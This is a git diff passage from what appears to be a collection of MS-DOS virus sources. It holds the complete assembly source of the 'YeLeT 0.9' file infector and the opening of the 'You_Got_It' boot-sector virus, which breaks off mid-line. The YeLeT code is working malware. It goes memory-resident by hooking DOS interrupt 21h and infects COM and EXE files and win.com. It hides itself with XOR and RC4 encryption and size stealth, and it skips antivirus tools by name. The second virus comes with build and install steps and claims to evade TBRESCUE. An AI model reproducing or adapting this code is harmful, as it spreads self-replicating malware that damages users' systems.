+ K = S[t] + + The byte K is XORed with the plaintext to produce ciphertext or XORed + with the ciphertext to produce plaintext. + + - Initializing the S-box is also easy. First fill it linearly: + S[0] = 0, S[1] = 1,... , S[255] = 255 + Then fill another 256-byte array with the key, repeating the key as + often as necessary to fill the entire array: K[0], K[1],... K[255]. Set + the index j to zero, then: + + for i = 0 to 255: + j = (j + S[i] + K[i]) mod 256 + swap S[i] and S[j] + + Thats it, please send bug reports to spooky@nym.alias.net :-) + + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + $ + +.model tiny ; .model virus +.286 ; allow 286 instructions (286's are needed for + ; pusha/popa) +.code ; code begins here + ORG 0CBh ; Brought to you by CB ;-) + jumps ; automatically change conditional jumps which are + ; bigger then -128/+127 bytes. + ; some constants + com equ 0 ; used to detect which 'restore routine' to run + exe equ 1 + off equ 0 ; archiver executed? (used in the stealth routine) + on equ 1 ; + + exit_exe: ; only used at the first execution + mov ax,4c00h + int 21h + + start: ; entry point + + + call delta ; get a delta offset + delta: + pop bp + sub bp,offset delta + + push ds ; save DS and ES (point to the PSP) for later use + push es ; when returning control to an exe file + + push cs ; DS = ES = CS + push cs + pop ds + pop es + + lea si,[bp+xor_crypt_start] ; simple bruteforce attack to find the + bruteforce_loopy: ; decryption key (like Spanskas IDEA + mov al,byte ptr cs:[si] ; virus). it fools any scanner which + xor al,byte ptr cs:[bp+xor_value] ; doesn't have something like AVP's 'code- + cmp al,90h ; analyzer' function. + je found_it + inc byte ptr cs:[bp+xor_value] + jmp bruteforce_loopy + + + found_it: + ; decrypt virus using a simple XOR algorithm + ; from xor_crypt_start + mov di,si ; to xor_crypt_start + mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start byte's + call crypt ; decrypt it + jmp xor_crypt_start ; jump to the now decrypted part + + xor_value db 0 ; en/decryption key used by the XOR encryption + + + crypt: ; en/decryption routine + lodsb ; load one byte from DS:SI into AL + xor al,byte ptr cs:[bp+xor_value] ; XOR it with xor_value + stosb ; store byte in AL at ES:DI + loop crypt ; repeat until CX = 0 + ret ; return + + xor_crypt_start: ; - xor encrypted part begins here - + + nop ; 'checksum' used by bruteforce decryption + ; routine + + cmp byte ptr cs:[bp+first],on + je rc4_crypt_start ; if its the first execution we do not decrypt + ; the code using RC4, just jump over it + + mov dx,42 ; expand the 42 byte key into a 256 byte + call rc4expandkey ; array + + ; decrpyt code using RC4, + lea si,[bp+rc4_crypt_start] ; from rc4_crypt_start + mov di,si ; to rc4_crypt_start + mov dx,the_end - rc4_crypt_start ; the_end - rc4_crypt_start bytes + call rc4crypt ; decrypt it + jmp rc4_crypt_start ; jump over the en/decryption routines. + + + rc4expandkey proc + pusha + mov byte ptr [bp+key_ptr],0 + + lea di,[bp+rc4state] ; fill the rc4state array with 0 .. 255 + xor ax,ax + linear_loopy: + stosb + inc al + jnz linear_loopy + + xor ax,ax ; J = 0 + xor bx,bx ; I = 0 + mutate_loopy: + + lea si,[bp+rc4state] + add si,bx + mov ch,cs:[si] ; CH = S[i] + + push bx + mov bl,[bp+key_ptr] + + lea si,[bp+rc4key] + add si,bx + mov cl,cs:[si] ; CL = K[i] + + inc [bp+key_ptr] + cmp [bp+key_ptr],dl ; dl = keylength ... reset key_ptr? + jne no_reset + mov [bp+key_ptr],0 + no_reset: + pop bx + + add al,cl ; J = J + K[i] + add al,ch ; J = J + S[i] + mov di,ax ; DI = J + + ; swap (S[i], S[j]) + lea si,[bp+rc4state] + add si,bx + mov al,cs:[si] ; al = S[i] + + mov [bp+temp],al ; temp = S[i] + + lea si,[bp+rc4state] + add si,di + mov al,cs:[si] ; al = S[j] + + lea si,[bp+rc4state] + add si,bx + mov cs:[si],al ; S[i] = S[j] + + mov al,[bp+temp] ; al = S[i] + + lea si,[bp+rc4state] + add si,di + mov cs:[si],al ; S[j] = S[i] + + inc bl ; I = I + 1 + jnz mutate_loopy ; 256 loops done? yes - exit + popa + ret + rc4expandkey endp + + + rc4crypt proc + pusha + mov word ptr cs:[bp+dest],di + xor bx,bx + xor di,di + xor ax,ax + xor cx,cx + crypt_loopy: + inc bl ; I = I + 1 + + mov cx,di ; CX = DI = J + push di + lea di,[bp+rc4state] + add di,bx + add cl,byte ptr cs:[di] + pop di + mov di,cx ; J = J + S[i] + + push di + lea di,[bp+rc4state] + add di,bx + mov al,byte ptr cs:[di] ; swap (S[i], S[j]) + pop di + mov byte ptr cs:[bp+temp],al + push si + lea si,[bp+rc4state] + add si,di + mov al,byte ptr cs:[si] + lea si,[bp+rc4state] + add si,bx + mov byte ptr cs:[si],al + pop si + mov al,byte ptr cs:[bp+temp] + push si + lea si,[bp+rc4state] + add si,di + mov byte ptr cs:[si],al + pop si + + push si + lea si,[bp+rc4state] + add si,di + mov al,byte ptr cs:[si] ; al = S[j] + lea si,[bp+rc4state] + add si,bx + add al,byte ptr cs:[si] ; t = al = S[i] + S[j] + pop si + + push di + mov di,ax + push si + lea si,[bp+rc4state] + add si,di + mov al,byte ptr cs:[si] ; K = al = S[t] + pop si + + mov di,word ptr cs:[bp+dest] ; DI = destination + mov cl,cs:[si] ; cl = byte to en/decrypt + xor cl,al ; cl = cl xor K + mov cs:[di],cl ; destination = cl + inc word ptr cs:[bp+dest] ; increase destination + inc si ; increase source + pop di + + dec dx ; decrease data length + jnz crypt_loopy ; if zero exit + popa + ret + rc4crypt endp + + key_ptr db 0 + dest dw ? + temp db ? + rc4state db 256 dup (?) + rc4key db 42 dup(?) + + first db on + + + rc4_crypt_start: ; - RC4 encrypted part begins here - + + mov byte ptr cs:[bp+first],off + mov byte ptr cs:[bp+archiver],off + + mov ax,0deadh ; installation check... + int 21h ; why do i use 0deadh all the time???? :] + + cmp bx,0deadh ; if the installation check returns 0deadh + je get_outta_here ; we are already in memory, and restore + ; control to the host + + go_tsr: ; if not, we go resident + + pop es ; pop ES for a sec, so we can use the PSP + push es ; push it again, for later use + + sub word ptr es:[2], 140h ; decrease the top of memory by 140h * 16 byte + ; from the PSP + + mov ax,es ; AX = ES + dec ax ; AX - 1 + mov es,ax ; ES = AX (= MCB) + + sub word ptr es:[3], 140h ; decrease the free amount of memory after the + ; program by 140h * 16 bytes (5kB) from the + ; MCB + + mov ax,40h + mov es,ax ; ES = AX = 40h (= Bios Data Segment) + + sub word ptr es:[13h],5 ; decrease the free memory by 5 * 1024 bytes + ; (again 5kB) from the Bios + + mov ax,word ptr es:[13h] ; AX = free memory (in kB) + shl ax,6 ; we need it in paragraphs (segments) + ; free segment = AX * 1024 / 16 + + mov es,ax ; ES = AX (= free segment) + + push cs + pop ds ; DS = CS + + mov cx,the_end - start ; the_end - start bytes + lea si,[bp+start] ; from DS:start + xor di,di ; to ES:0 + rep movsb ; copy the virus into the free segment + + xor ax,ax + mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table) + + lea ax,new_int_21h ; AX = offset of the new interrupt 21h routine + sub ax,offset start ; substract 'offset start' because we moved it + ; down to offset 0 + mov bx,es ; BX = ES (= segment where the new interrupt + ; routine is in) + + cli ; disable ints + xchg ax,word ptr ds:[21h*4] ; save the old interrupt's address in BX and + xchg bx,word ptr ds:[21h*4+2] ; AX, and overwrite it with the new one + mov word ptr es:[original_int_21h-offset start],ax ; save AX and BX in + mov word ptr es:[original_int_21h+2-offset start],bx ; the virus's code + sti ; enable ints again + + push cs ; DS = ES = CS + push cs + pop ds + pop es + + ;;;; + + get_outta_here: + + ; direct infection of win.com begins here, + push word ptr cs:[bp+state] ; save 'state' as it will be changed in the + ; infection routine. + + lea si,[bp+header] ; save the first 3 bytes in original_3, needed + lea di,[bp+original_3] ; for later restoration if its a com file. + movsw + movsb + + ; copy the original IP, CS, SS, SP + lea si,[bp+old_ip] ; from old_ip + lea di,[bp+original_ip] ; to original_ip + mov cx,4 ; 4 words to copy + rep movsw ; needed for restoring control if its an exe + ; file. + + lea ax,[bp+wincom_done] ; save the return address in + mov word ptr cs:[bp+original_int_21h],ax ; original_int_21h (used to + mov word ptr cs:[bp+original_int_21h+2],cs ; return from the 'fake' int21h + ; 4Bh routine. + + mov ah,4bh ; fake file execution (= infection) + lea dx,[bp+wincom] ; c:\windows\win.com + jmp new_int_21h ; 'int 21h' + + wincom_done: ; return here after infecting win.com + + pop ax ; restore the 'state' + + cmp al,com ; check the state if we are com or exe + je restore_com ; jump to restore_com routine if we are com + + restore_exe: ; else we must be an exe :) + + pop es ; restore ES and DS (point to the PSP) + pop ds + + mov ax,es ; AX = ES (= PSP) + add ax,10h ; add 10h paragraphs to AX, + ; 10h * 16 = 100h bytes, so it ignores the + ; PSP and points directly to the beginning of + ; the code/data + + add word ptr cs:[bp+original_cs],ax ; CS = real CS (as before infection) + ; as the initial CS is 'relative to + ; start of file' we adjust the initial + ; CS value by adding AX (beginning of + ; code/data) + add ax,word ptr cs:[bp+original_ss] ; same for initial SS, as it is a relative + ; value too + cli ; disable ints + mov ss,ax ; SS = real SS + mov sp,word ptr cs:[bp+original_sp] ; SP = real SP + sti ; enable ints + + db 0eah ; jump to the beginning of the host + original_ip dw ? ; JMP FAR to original_ip, + original_cs dw ? ; and original_cs (= JMP FAR CS:IP) + original_sp dw ? + original_ss dw ? + + + restore_com: ; this is where we go to restore control if + ; we are a com file + mov cx,3 ; move the first 3 bytes + lea si,[bp+original_3] ; from 'header' + mov di,100h ; to 100h (beginning of com files) + rep movsb ; copy them.. + + pop es + pop ds + + push 100h ; push 100h onto the stack + ret ; restore control (return to 100h) + + new_int_24h: ; new crittical error handler + iret ; just return if its called :) + original_int_24h dd ? + + new_int_21h: ; the new interrupt 21h begins here + pushf ; as always, push flags at first + cmp ax,0deadh ; install check? + jne no_installcheck ; no... + mov bx,ax ; yes!? then BX = AX (= 0deadh) + popf ; pop flags again + iret ; and return from interrupt + + no_installcheck: ; here we go if there was no install check + + cmp ah,4bh ; is something getting executed? + je infect ; yes? then goto infect + cmp ah,4eh ; findfirst? + je stealth ; yes? - stealth + cmp ah,4fh ; findnext? + je stealth ; yes? - stealth + cmp ah,4ch ; terminate program? + je exit_prog ; + jmp restore ; all other functions execute the normal int + + + + exit_prog: + push bp + call exit_delta + exit_delta: + pop bp + sub bp,offset exit_delta + + mov byte ptr cs:[bp+archiver],off + pop bp + jmp restore + + + + + stealth: + popf ; restore the flags, they don't matter here. + push bp ; save BP (changed in the delta routine) + + call stealth_delta ; well, another delta offset :] + stealth_delta: + pop bp + sub bp,offset stealth_delta + + pushf + call dword ptr cs:[bp+original_int_21h] ; fake int 21h call + + pushf ; save everything (returned flags and regs!) + pusha + push es + push ds + + mov ah,2fh ; get address of DTA in ES:BX + int 21h + + push es ; DS = ES (= DTA), so we can access the + pop ds ; filename in the dta (by using func 3Dh,..) + + mov di,bx + add di,1eh ; DI points to the beginning of the filename + push di ; save that for later + mov al,'.' ; search for a dot + mov cx,13 ; 13 characters max + cld ; forward direction + repne scasb ; search while not found and cx <> 0 + + cmp word ptr es:[di],'OC' ; if the extension begins with 'CO' it + je might_be_com_exe ; 'might' be a com file + cmp word ptr es:[di],'XE' ; if the extension begins with 'EX' it + je might_be_com_exe ; 'might' be an exe file + pop di ; if the extension doesn't begin with + jmp no_stealth ; 'CO' neither with 'EX' we restore the + ; stack (pop di) and leave the stealth + ; routine. + + might_be_com_exe: + cmp byte ptr es:[di+2],'M' ; if the last character of the extension is + je probably_com_exe ; a 'M' the file is 'probably' a com file :) + cmp byte ptr es:[di+2],'E' ; blah.. + je probably_com_exe + pop di ; if its not a com and not an exe we restore + jmp no_stealth ; the stack again and leave the stealth + ; routine. + + probably_com_exe: + pop dx ; restore DX (filename) + push bx ; save BX (offset of DTA) + + mov ax,3d00h ; open file at DS:DX for reading + int 21h + jnc no_error ; (an error occures if the file is in + pop bx ; another directory), if so, restore the + jmp no_stealth ; stack (pop bx) and leave... + + no_error: + xchg ax,bx ; put the filehandle into BX + + push cs + pop ds ; DS = CS + + mov ah,3fh ; read + mov cx,1ch ; 1Ch bytes + lea dx,[bp+header] ; to 'header' + int 21h + + mov ah,3eh ; close the file. + int 21h + + pop bx ; restore BX (offset of dta) + + + cmp word ptr cs:[bp+header],'ZM' ; if the file begins with either 'ZM' + je check_exe + cmp word ptr cs:[bp+header],'MZ' ; or 'MZ' it is an exe file, + je check_exe ; if so it checks if the EXE file is + ; infected. + + check_com: + mov cx,the_end - start + 7 ; else it checks the COM file for an + mov ax,word ptr es:[bx+1ah] ; infection. filesize goes into AX. + sub ax,(the_end - start)+3+7 ; substract virussize + 3(jmp) + 7(enuns) + cmp ax,word ptr cs:[bp+header+1] ; if thats equal to the jump in the header + je stealth_it ; it is already infected and will be + jmp no_stealth ; stealthed... else, leave the stealth + ; routine. + + check_exe: + cmp word ptr cs:[bp+header+12h],'XV' ; if it is an exe file we just check + jne no_stealth ; the infection marker from the header + ; not infected? - leave + mov cx,the_end - start + + stealth_it: + cmp byte ptr cs:[bp+archiver],on ; if an archiver is running don't + je no_stealth ; stealth it. + sub word ptr es:[bx+1ah],cx ; substract the virussize from + sbb word ptr es:[bx+1ch],0 ; the filesize in the dta. + + no_stealth: + pop ds ; restore everything that was pushed + pop es ; before + popa + popf + pop bp + retf 2 ; and exit the interrupt, without + ; poping (restoring) the flags! + + + infect: ; infect the file at DS:DX + + pusha ; save all regs + push es ; save DS, + push ds ; ES + push dx ; and DX (= offset of the filename) + + call infect_delta + infect_delta: + pop bp + sub bp,offset infect_delta + + push ds + pop es + + cld + xor ax,ax + mov cx,64 + mov di,dx + repne scasb ; search for the end (zero) of the filename + + mov ax,word ptr ds:[di-10] ; check for PKzip + mov bx,word ptr ds:[di-8] + or ax,2020h ; make it lower case + or bx,2020h + cmp ax,'kp' + je exec_pkzip + + mov ax,word ptr ds:[di-8] ; check for ARJ and RAR + mov bx,word ptr ds:[di-6] + or ax,2020h + or bx,2020h + cmp ax,'ra' + je exec_arj + cmp ax,'ar' + je exec_rar + jmp no_archiver + + exec_pkzip: + cmp bx,'iz' + je exec_archiver + jmp no_archiver + + exec_arj: + cmp bx,'.j' + je exec_archiver + jmp no_archiver + + exec_rar: + cmp bx,'.r' + je exec_archiver + jmp no_archiver + + exec_archiver: + mov byte ptr cs:[bp+archiver],on + + no_archiver: + std + mov al,'\' + mov cx,64 + repne scasb + mov ax,word ptr ds:[di+2] + or ax,2020h + + push cs + pop es + + cld + lea di,[bp+avs] + mov cx,5 + repne scasw ; search for AV programs.... + jne no_av + + pop dx + pop ds + pop es + popa + jmp restore + + no_av: + push ds ; set a new crittical error handler (int 24h) + xor ax,ax + mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table) + + lea ax,[bp+new_int_24h] ; AX = offset of the new interrupt 24h routine + mov bx,cs ; BX = CS (= segment where the new interrupt + ; routine is in) + cli ; disable ints + xchg ax,word ptr ds:[24h*4] ; save the old interrupt's address in BX and + xchg bx,word ptr ds:[24h*4+2] ; AX, and overwrite it with the new one + mov word ptr cs:[bp+original_int_24h],ax ; save AX and BX in + mov word ptr cs:[bp+original_int_24h+2],bx ; the virus's code + sti ; enable ints again + pop ds + + mov ax,4300h ; get attributes of filename at DS:DX + int 21h + + push cx ; save them + + mov ax,4301h ; fubarize the attributes + xor cx,cx + int 21h + jc error ; if there was an error while writing to the + ; disk we cancel the infection + + mov ax,3d02h ; open the file at DS:DX + int 21h + jc error + + xchg ax,bx ; BX = filehandle + + push cs ; DS = ES = CS + push cs + pop ds + pop es + + mov ax,5700h ; get file time/date + int 21h + + push cx ; save file time + push dx ; and date + + mov ah,3fh ; read from file + mov cx,1ch ; 1Ch bytes + lea dx,[bp+header] ; to header + int 21h + jc close ; can't read from file? then close it... + cmp ax,1ch ; less then 1ch bytes read? + jne close ; then close it too... + + + cmp word ptr cs:[bp+header],'MZ' ; does the header begin with 'ZM'? + je infect_exe + + cmp word ptr cs:[bp+header],'ZM' ; does the header begin with 'MZ'? + je infect_exe + + infect_com: ; no MZ/ZM? then it must be a com... + + mov ax,4202h ; set filepointer to the end + xor cx,cx + xor dx,dx + int 21h + + push ax ; save filesize + sub ax,(the_end - start) + 3+7 ; decrease it by ('virussize'+3+7) + cmp ax,word ptr cs:[bp+header+1] ; and compare that value with the 2nd byte + pop ax ; in the header. (restore filesize) + je close ; if they match, the file is already + ; infected. + + sub ax,3 ; if not already infected, we calculate + mov word ptr cs:[bp+new_jump+1],ax ; a new jump, + mov byte ptr cs:[bp+state],com ; and change the 'state' to COM. + + mov ax,4201h ; seeks to EOF - 7 (beginning of ENUNSxx) + mov cx,-1 + mov dx,-7 + int 21h + + mov ah,3fh ; read the enuns into a buffer + lea dx,[bp+enuns] + mov cx,7 + int 21h + + add word ptr cs:[bp+enuns+5],the_end - start+7 ; add the virus's size + 7 + ; to the word at the end of + ; enuns. + + call encrypt ; this gets a new en/decryption key, and + ; encrypts the whole virus from + ; xor_crypt_start till the_end and stores + ; the encrypted code at the_end. + + call append ; append the virus to the end of the file. + + mov ah,40h ; also add the ENUNSxx to the end of + lea dx,[bp+enuns] ; COM files, this makes winblows 95 com + mov cx,7 ; files functioning again :) + int 21h + + mov ax,4200h ; go to the beginning of the file + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; and write the new jump over the first + lea dx,[bp+new_jump] ; 3 byte. + mov cx,3 + int 21h + + ;;;; + + jmp close ; jump over the exe infection routine to + ; close the file. + + + infect_exe: ; the marker was either ZM or MZ so it + ; must be an exe file + cmp word ptr cs:[bp+header+12h],'XV' ; check for the infection marker at + je close ; offset 12h in the exe header, if + ; its already there we close the file. + + cmp word ptr cs:[bp+header+18h],40h ; check for new exe files. if the + jae close ; offset of the relocation table entry + ; is above or equal 40h it is probably + ; a new exe file and we close it. + + mov word ptr cs:[bp+header+12h],'XV' ; set infection marker + mov byte ptr cs:[bp+state],exe ; change state to EXE + + ; save important fields from the + mov ax,word ptr cs:[bp+header+14h] ; header: + mov word ptr cs:[bp+old_ip],ax ; offset 14h - initial IP + mov ax,word ptr cs:[bp+header+16h] + mov word ptr cs:[bp+old_cs],ax ; offset 16h - initial CS + mov ax,word ptr cs:[bp+header+0eh] + mov word ptr cs:[bp+old_ss],ax ; offset 0eh - initial SS + mov ax,word ptr cs:[bp+header+10h] + mov word ptr cs:[bp+old_sp],ax ; offset 10h - initial SP + + mov ax,4202h ; seek to the end of the file + xor cx,cx + xor dx,dx + int 21h + + mov word ptr cs:[bp+filesize],ax ; save the filesize + mov word ptr cs:[bp+filesize+2],dx + + mov cx,512 ; overlay check, get the filesize in 512 + div cx ; byte pages + + cmp dx,0 + je no_remainder2 ; if there is a remainder in DX + inc ax ; increase AX + no_remainder2: + + cmp word ptr cs:[bp+header+2],dx ; if DX matches offset 2 of the exe hdr + jne close ; and if AX matches offset 4 there are + cmp word ptr cs:[bp+header+4],ax ; no overlays, if there are overlays we + jne close ; have to close the file. + + mov ax,word ptr cs:[bp+filesize] ; restore filesize in DX:AX + mov dx,word ptr cs:[bp+filesize+2] + + push ax ; save filesize again, some + push dx ; optimizations would be nice here :^) + + add ax,the_end - start ; add virus size to filesize + adc dx,0 + + mov cx,512 ; convert it to 512 byte pages + div cx + + cmp dx,0 ; as always, if there is a remainder in + je no_remainder ; DX we have to increase AX. + inc ax + no_remainder: + + mov word ptr cs:[bp+header+4],ax ; save the new filesize at offset 4 and + mov word ptr cs:[bp+header+2],dx ; 2 in the exe header. + + pop dx ; restore filesize, again + pop ax + + mov cx,16 ; at this time convert it to 16 byte + div cx ; paragraphs + + mov cx,word ptr cs:[bp+header+8] ; substract the headersize from it, so + sub ax,cx ; we get the new CS:IP in AX:DX + + mov word ptr cs:[bp+header+16h],ax ; save CS + mov word ptr cs:[bp+header+14h],dx ; save IP + mov word ptr cs:[bp+header+0eh],ax ; save SS (= CS) + mov word ptr cs:[bp+header+10h],0fffeh ; save SP + + call encrypt ; encrypts the virus and stores it at + ; the_end. + + call append ; append the virus at the end of the file. + + mov ax,4200h ; seek to the beginning + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; replace the exe header with the new one. + lea dx,[bp+header] + mov cx,1ch + int 21h + + ;;;; + + close: ; restore stuff like file time/date, + ; attribs and then close it. + + mov ax,5701h ; restore the saved file time and date + pop dx + pop cx + int 21h + + mov ah,3eh ; close it! + int 21h + + error: + pop cx ; restore attribs in CX + pop dx ; restore the filename + pop ds ; restore DS + mov ax,4301h + int 21h ; set attributes (CX on filename at DS:DX) + + push ds ; restore the original crittical error handler + xor ax,ax + mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table) + + les dx,cs:[bp+original_int_24h] ; ES:DX = dword ptr cs:[original_int_24h] + + cli ; disable ints + mov word ptr ds:[24h*4],dx ; save the old address + mov word ptr ds:[24h*4+2],es + sti ; enable ints again + pop ds + + pop es ; restore ES and + popa ; the registers. + + + restore: ; restore the original interrupt call + popf ; pop flags + db 0eah ; and JuMP FAR to + original_int_21h dd ? ; the real address of int21h + + encrypt proc ; used to encrypt the virus code + + mov cx,42 ; fill the rc4key with 42 'random' bytes. + lea di,[bp+rc4key] + rc4_key_loopy: + in al,40h + mov byte ptr cs:[di],al + inc di + loop rc4_key_loopy + + in al,40h + mov byte ptr cs:[bp+xor_value],al ; get a new 'random' key into xor_value + + lea si,[bp+start] ; copy the whole virus code to the_end + lea di,[bp+the_end] + mov cx,the_end - start + rep movsb + + mov dx,42 ; encrypt the 1st layer using RC4 + call rc4expandkey + + lea si,[bp+the_end] + add si,offset rc4_crypt_start + sub si,offset start + mov di,si + mov dx,the_end - rc4_crypt_start + call rc4crypt + + + lea si,[bp+the_end] ; encrypt the 2nd layer using XOR + add si,offset xor_crypt_start + sub si,offset start + mov di,si + mov cx,the_end - xor_crypt_start + call crypt + + mov byte ptr cs:[bp+xor_value],0 ; set xor_value (decryption key) to zero + ; (for bruteforce cracking) + + ret ; return + encrypt endp + + append proc + mov ah,40h ; write the first, unencrypted part of the + lea dx,[bp+start] ; virus into the file. (start till + mov cx,xor_crypt_start - start ; xor_crypt_start) + int 21h + + + mov ah,40h ; write the encrypted part into the file, + lea dx,[bp+the_end] ; beginning at the_end + add dx,offset xor_crypt_start + sub dx,offset start + mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start bytes. + int 21h + ret ; return + append endp + + header db 0cdh,20h,1ah dup ('?') ; buffer for exe header and com stuff + old_ip dw offset exit_exe ; buffer for the original IP + old_cs dw 0 ; CS + old_sp dw 0fffeh ; SP + old_ss dw 0 ; SS + new_jump db 0e9h,0,0 ; buffer used by com infection to + original_3 db 3 dup(?) ; calculate a new jump + + message1 db 'YeLeT 0.9, just another bug in your Micro$oft System...',10,13 + db '$' + + filesize dd ? ; buffer for the filesize [optimization + ; needed! ;] + wincom db 'c:\windows\win.com',0 + avs db 'scavtbf-fi' ; anti virus programs we are checking for + ; SCan, AVp, TBav (and co.), F-prot and + ; FIndviru + state db exe ; represents the current filetype + archiver db off + enuns db 7 dup(?) ; buffer for win95's ENUNS + + the_end: + +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.you_got_it.asm b/MSDOS/Virus.MSDOS.Unknown.you_got_it.asm new file mode 100644 index 00000000..3970e545 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.you_got_it.asm @@ -0,0 +1,335 @@ +comment * + +Designed by "Q" the Misanthrope + +The "You_Got_It" virus needed to be made. Windows 95 has neglected the +floppy boot sector virus long enough. Windows 95 in it's 32 bit protected +mode has it's own floppy disk routines and doesn't use int 13 or int 40 +anymore. When a floppy boot sector viruses infectes the hard disk of the +Windows 95 computer, it would flag a change in the MBR or DBR indicating +a possible virus attack (not good). The conclusion, don't hook int 13, hook +int 21. Problem is, when Windows 95 starts up, it starts in DOS mode then +changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked +anymore. Many of the multipatrite virii will not infect once Windows 95 +starts. If your boot sector virus can infect a program called in your +AUTOEXEC.BAT or your CONFIG.SYS then the virus would go resident. The +"You_Got_it" virus does this. It creates a randomly named file and adds +INSTALLH=\AKYTHSQW (name is random) to the CONFIG.SYS file. Now when +Windows 95's int 21 is called to change the default drive to A: then the +infection occures. Cool features: during boot up the virus moves into video +memory then into the High Memory Area (HMA) when dos loads high. The virus +tunnels int 21 and loads in the HMA with dos. Also the boot sector infection +will not attack the CONFIG.SYS multiple times. + +P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector +detector or CMOS virus protection. + + +tasm yougotit /m2 +tlink yougotit +exe2bin yougotit.exe yougotit.com +format a:/q/u +debug yougotit.com +l 300 0 0 1 +w 100 0 0 1 +w 300 0 20 1 +m 13e,2ff 100 +rcx +1c2 +w +q +copy yougotit.com c:\ +edit c:\config.sys +device=\yougotit.com +altf +x +y + +* + +.286 + +qseg segment byte public 'CODE' + assume cs:qseg,es:qseg,ss:nothing,ds:qseg + +top: jmp short jmp_install ;boot sector data + db 90h + db 'MSDOS5.0' + dw 512 + db 1 + dw 1 + db 2 + dw 224 + dw 2880 + db 0F0h + dw 9 + dw 18 + dw 2 + + org 003eh + +com_install proc near + jmp short go_mem_res +com_install endp + +jmp_install proc near ;floppy boot up + push cs ;for the retf to 0000:7c00 +id equ $+01h + mov si,7c00h ;7c00 is the infection marker + lea bx,word ptr ds:[si] ;bx=7c00 + push bx ;for the retf to 0000:7c00 + cld + push cs + mov es,bx ;if monochrome copy code to + pop ds ;7c00:7c00 + cmp word ptr ds:[0449h],07h ;check if monochrome + je monochrome + push 0b700h ;lets reside in video memory + pop es ;no need for that TOM + cmp word ptr es:[si+id-top],si +monochrome: push es ;check if already mem resident + mov di,si ;di=7c00 + mov cx,offset previous_hook ;copy loop varable + push cx ;save it because we will copy + push si ;the code twice to b700:7c00 + rep movsb ;and b700:7dfe + pop si + pop cx + call return_far ;goto b700 segment of code + rep movsb ;continue copy to b700:7dfe + mov si,1ah*04h ;only hook int 1a + je already_res ;if already resident don't + movsw ;hook again + movsw + mov word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h + mov word ptr ds:[si-02h],cs ;hook int 1a +already_res: push ds ;read moved floppy boot sector + pop es + mov ax,0201h +jmp_install endp + +set_cx_dx proc near + mov bp,word ptr ds:[bx+11h] ;code to point to last sector + mov cx,word ptr ds:[bx+16h] ;of the root directory of any + shr bp,04h ;floppy disk + shl cx,01h + add cx,bp + inc cx + mov dh,01h + sub cx,word ptr ds:[bx+18h] + int 13h ;read or write boot sector +return_far: retf ;return to 7c00:0000 or +set_cx_dx endp ;resident_21 routine + +config_line db "C:\CONFIG.SYS",00 ;file to infect +install_name db "INSTALL=" ;what to add +file_name db "\" ;random file name goes here + db 00h +crlf equ $+07h + +go_mem_res proc near ;CONFIG.SYS residency + mov ax,3501h ;get int 1 address for tunnel + int 21h + mov dx,offset interrupt_1-com_install+100h + mov ah,25h ;set int 1 for tunnel + push es + int 21h + pop ds ;ds:dx will be to set it back + push 00h ;es=0000h + pop es + pushf ;simulate interrupt stack + lea dx,word ptr ds:[bx] + push cs + push es ;return to cs:0000 is cd 20 + int 01h ;set trap flag + db 26h ;es: override in to int table + dw 02effh,21h*04h ;jmp far ptr es:[0084] +go_mem_res endp + +interrupt_1 proc near ;set trap flag, trace int 21 + pusha ;save varables + push sp + pop bp ;get pointer + push ds + push es + lds si,dword ptr ss:[bp+10h];get next instruction address + cmp word ptr ds:[si+01h],02effh + jne go_back ;check if jmp far ?s:[????] + cmp word ptr ds:[si-02h],001cdh + org $-02h ;see if called from my int 01 + int 01h + je toggle_tf + mov si,word ptr ds:[si+03h] ;get address segment of jmp + cmp byte ptr ds:[si+03h],0f0h + jb go_back ;see if in HMA area + mov bx,((tail-com_install+10h)SHR 4)*10h + mov di,0ffffh ;allocate HMA area for virus + mov ax,4a02h + int 2fh + inc di ;is HMA full + jz toggle_tf ;if so then just don't bother + push si ;move the virus to the HMA + cld + mov cx,previous_hook-com_install + mov si,0100h ;copy virus to HMA + rep movs byte ptr es:[di],cs:[si] + pop si ;now hook the int 21 chain + movsw + movsw + lea di,word ptr ds:[di-(offset vbuffer-resident_21)] + mov word ptr ds:[si-04h],di ;point to resident 21 code + mov word ptr ds:[si-02h],es +toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag +go_back: pop es + pop ds + popa + iret +interrupt_1 endp + +interrupt_21 proc near ;hooked in after int 1a sees + pushf ;that dos loaded during boot + pusha + push ds + push es + push cs + pop ds + xor ah,4bh ;unload if a program starts + jz set_21_back + mov ax,3d42h ;open c:\config.sys + mov dx,offset config_line+7e00h-02h + int 18h ;really it is int 21 + mov bx,5700h ;get date + xchg ax,bx + jc retry_later ;unable to open c:\config.sys + int 18h + or cl,cl ;is c:\config.sys infected + jz close_it + pusha ;save file date + mov ah,5ah ;create random file + mov cx,0005h + mov dx,offset file_name+7e00h-02h + int 18h + mov dx,offset com_install+7c00h + mov bh,40h ;write virus code into file + xchg ax,bx + mov ch,02h + int 18h + mov ah,3eh ;close it + int 18h + popa ;date and handle c:\config.sys + inc ax ;set date + pusha ;save it for later + mov ax,4202h ;go to end of c:\config.sys + cwd + push dx + pop cx + int 18h + mov ah,40h ;write INSTALL=\ line + mov word ptr ds:[crlf+7e00h-02h],0a0dh + mov cl,low(crlf-install_name+02h) + mov dx,offset install_name+7e00h-02h + int 18h ;be sure to cr lf terminate it + popa ;get file date + shr cl,cl ;blitz seconds and more + int 18h +close_it: mov ah,3eh ;close c:\config.sys + int 18h +set_21_back: lds dx,dword ptr ds:[previous_hook+7c00h] + jmp short set_int_21 ;unhook it 21 +retry_later: jmp short jmp_pop_it +interrupt_21 endp + +interrupt_1a proc near ;hooked at boot and waits for + pushf ;dos to load + pusha + mov ax,1200h ;dos loaded + push ds + push es + cwd + int 2fh + inc al + jnz jmp_pop_it ;and unhook int 1a + mov ds,dx ;if loaded then hook int 21 + mov 